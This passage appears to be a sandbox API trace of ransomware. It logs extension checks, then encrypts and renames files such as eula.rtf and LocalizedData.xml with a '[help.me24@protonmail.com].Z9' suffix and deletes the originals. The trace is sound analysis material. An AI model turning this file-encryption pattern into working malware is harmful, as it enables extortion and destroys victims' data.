	[0070.752] lstrlenW (lpString=".bz2") returned 4
	[0070.752] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.752] lstrlenW (lpString=".7z") returned 3
	[0070.752] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.752] lstrlenW (lpString=".dbf") returned 4
	[0070.752] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.752] lstrlenW (lpString=".1cd") returned 4
	[0070.752] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0070.752] lstrlenW (lpString=".jpg") returned 4
	[0070.752] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.752] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.752] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0070.912] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=65238) returned 1
	[0070.912] CloseHandle (hObject=0x310) returned 1
	[0070.912] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0070.912] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0070.912] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.912] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.913] GetLastError () returned 0x0
	[0070.913] ReadFile (in: hFile=0x310, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xfed6, lpOverlapped=0x0) returned 1
	[0070.992] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xfee0, lpOverlapped=0x0) returned 1
	[0070.995] ReadFile (in: hFile=0x310, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.995] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.995] SetEndOfFile (hFile=0x338) returned 1
	[0070.995] CloseHandle (hObject=0x338) returned 1
	[0070.998] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.998] SetEndOfFile (hFile=0x310) returned 1
	[0070.999] CloseHandle (hObject=0x310) returned 1
	[0071.000] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.000] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1
	[0071.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.000] lstrlenW (lpString=".doc") returned 4
	[0071.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.000] lstrlenW (lpString=".docx") returned 5
	[0071.000] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.001] lstrlenW (lpString=".pdf") returned 4
	[0071.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString=".xls") returned 4
	[0071.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString=".xlsx") returned 5
	[0071.001] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.001] lstrlenW (lpString=".ppt") returned 4
	[0071.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.001] lstrlenW (lpString=".zip") returned 4
	[0071.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.001] lstrlenW (lpString=".rar") returned 4
	[0071.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString=".bz2") returned 4
	[0071.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString=".7z") returned 3
	[0071.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.001] lstrlenW (lpString=".dbf") returned 4
	[0071.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.001] lstrlenW (lpString=".1cd") returned 4
	[0071.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.001] lstrlenW (lpString=".jpg") returned 4
	[0071.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.002] lstrlenW (lpString=".doc") returned 4
	[0071.002] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString=".docx") returned 5
	[0071.002] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.002] lstrlenW (lpString=".pdf") returned 4
	[0071.002] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString=".xls") returned 4
	[0071.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString=".xlsx") returned 5
	[0071.002] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.002] lstrlenW (lpString=".ppt") returned 4
	[0071.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.002] lstrlenW (lpString=".zip") returned 4
	[0071.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.002] lstrlenW (lpString=".rar") returned 4
	[0071.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString=".bz2") returned 4
	[0071.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString=".7z") returned 3
	[0071.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.002] lstrlenW (lpString=".dbf") returned 4
	[0071.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.002] lstrlenW (lpString=".1cd") returned 4
	[0071.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0071.002] lstrlenW (lpString=".jpg") returned 4
	[0071.003] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.003] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.003] lstrlenW (lpString="eula.rtf") returned 8
	[0071.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.003] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4040) returned 1
	[0071.003] CloseHandle (hObject=0x310) returned 1
	[0071.003] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0071.003] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.004] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.004] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.010] GetLastError () returned 0x0
	[0071.010] ReadFile (in: hFile=0x310, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xfc8, lpOverlapped=0x0) returned 1
	[0071.026] WriteFile (in: hFile=0x330, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0071.028] ReadFile (in: hFile=0x310, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.028] WriteFile (in: hFile=0x330, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.028] SetEndOfFile (hFile=0x330) returned 1
	[0071.028] CloseHandle (hObject=0x330) returned 1
	[0071.030] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.030] SetEndOfFile (hFile=0x310) returned 1
	[0071.031] CloseHandle (hObject=0x310) returned 1
	[0071.031] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.032] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1
	[0071.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.032] lstrlenW (lpString=".doc") returned 4
	[0071.032] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.032] lstrlenW (lpString=".docx") returned 5
	[0071.032] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.032] lstrlenW (lpString=".pdf") returned 4
	[0071.032] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.032] lstrlenW (lpString=".xls") returned 4
	[0071.032] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.032] lstrlenW (lpString=".xlsx") returned 5
	[0071.032] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.032] lstrlenW (lpString=".ppt") returned 4
	[0071.032] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.032] lstrlenW (lpString=".zip") returned 4
	[0071.032] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.032] lstrlenW (lpString=".rar") returned 4
	[0071.032] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.032] lstrlenW (lpString=".bz2") returned 4
	[0071.032] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.032] lstrlenW (lpString=".7z") returned 3
	[0071.033] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString=".dbf") returned 4
	[0071.033] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString=".1cd") returned 4
	[0071.033] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString=".jpg") returned 4
	[0071.033] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString=".doc") returned 4
	[0071.033] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString=".docx") returned 5
	[0071.033] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.033] lstrlenW (lpString=".pdf") returned 4
	[0071.033] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString=".xls") returned 4
	[0071.033] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.033] lstrlenW (lpString=".xlsx") returned 5
	[0071.033] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.033] lstrlenW (lpString=".ppt") returned 4
	[0071.033] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString=".zip") returned 4
	[0071.033] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.033] lstrlenW (lpString=".rar") returned 4
	[0071.033] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString=".bz2") returned 4
	[0071.033] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.033] lstrlenW (lpString=".7z") returned 3
	[0071.033] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.033] lstrlenW (lpString=".dbf") returned 4
	[0071.034] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.034] lstrlenW (lpString=".1cd") returned 4
	[0071.034] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0071.034] lstrlenW (lpString=".jpg") returned 4
	[0071.034] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.034] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.034] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.034] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.034] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=82374) returned 1
	[0071.034] CloseHandle (hObject=0x310) returned 1
	[0071.034] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0071.034] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.034] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.034] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.035] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.035] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.035] GetLastError () returned 0x0
	[0071.035] ReadFile (in: hFile=0x310, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x141c6, lpOverlapped=0x0) returned 1
	[0071.050] WriteFile (in: hFile=0x330, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x141d0, lpOverlapped=0x0) returned 1
	[0071.052] ReadFile (in: hFile=0x310, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.052] WriteFile (in: hFile=0x330, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.052] SetEndOfFile (hFile=0x330) returned 1
	[0071.052] CloseHandle (hObject=0x330) returned 1
	[0071.055] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.055] SetEndOfFile (hFile=0x310) returned 1
	[0071.199] CloseHandle (hObject=0x310) returned 1
	[0071.199] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.235] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1
	[0071.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.235] lstrlenW (lpString=".doc") returned 4
	[0071.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.235] lstrlenW (lpString=".docx") returned 5
	[0071.235] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.236] lstrlenW (lpString=".pdf") returned 4
	[0071.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString=".xls") returned 4
	[0071.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString=".xlsx") returned 5
	[0071.236] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.236] lstrlenW (lpString=".ppt") returned 4
	[0071.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.236] lstrlenW (lpString=".zip") returned 4
	[0071.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.236] lstrlenW (lpString=".rar") returned 4
	[0071.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString=".bz2") returned 4
	[0071.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString=".7z") returned 3
	[0071.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.236] lstrlenW (lpString=".dbf") returned 4
	[0071.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.236] lstrlenW (lpString=".1cd") returned 4
	[0071.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.236] lstrlenW (lpString=".jpg") returned 4
	[0071.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.236] lstrlenW (lpString=".doc") returned 4
	[0071.236] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString=".docx") returned 5
	[0071.236] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.236] lstrlenW (lpString=".pdf") returned 4
	[0071.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.236] lstrlenW (lpString=".xls") returned 4
	[0071.237] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.237] lstrlenW (lpString=".xlsx") returned 5
	[0071.237] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.237] lstrlenW (lpString=".ppt") returned 4
	[0071.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.237] lstrlenW (lpString=".zip") returned 4
	[0071.237] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.237] lstrlenW (lpString=".rar") returned 4
	[0071.237] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.237] lstrlenW (lpString=".bz2") returned 4
	[0071.237] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.237] lstrlenW (lpString=".7z") returned 3
	[0071.237] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.237] lstrlenW (lpString=".dbf") returned 4
	[0071.237] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.237] lstrlenW (lpString=".1cd") returned 4
	[0071.237] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0071.237] lstrlenW (lpString=".jpg") returned 4
	[0071.237] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.237] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.237] lstrlenW (lpString="eula.rtf") returned 8
	[0071.238] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.293] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3865) returned 1
	[0071.293] CloseHandle (hObject=0x334) returned 1
	[0071.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0071.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
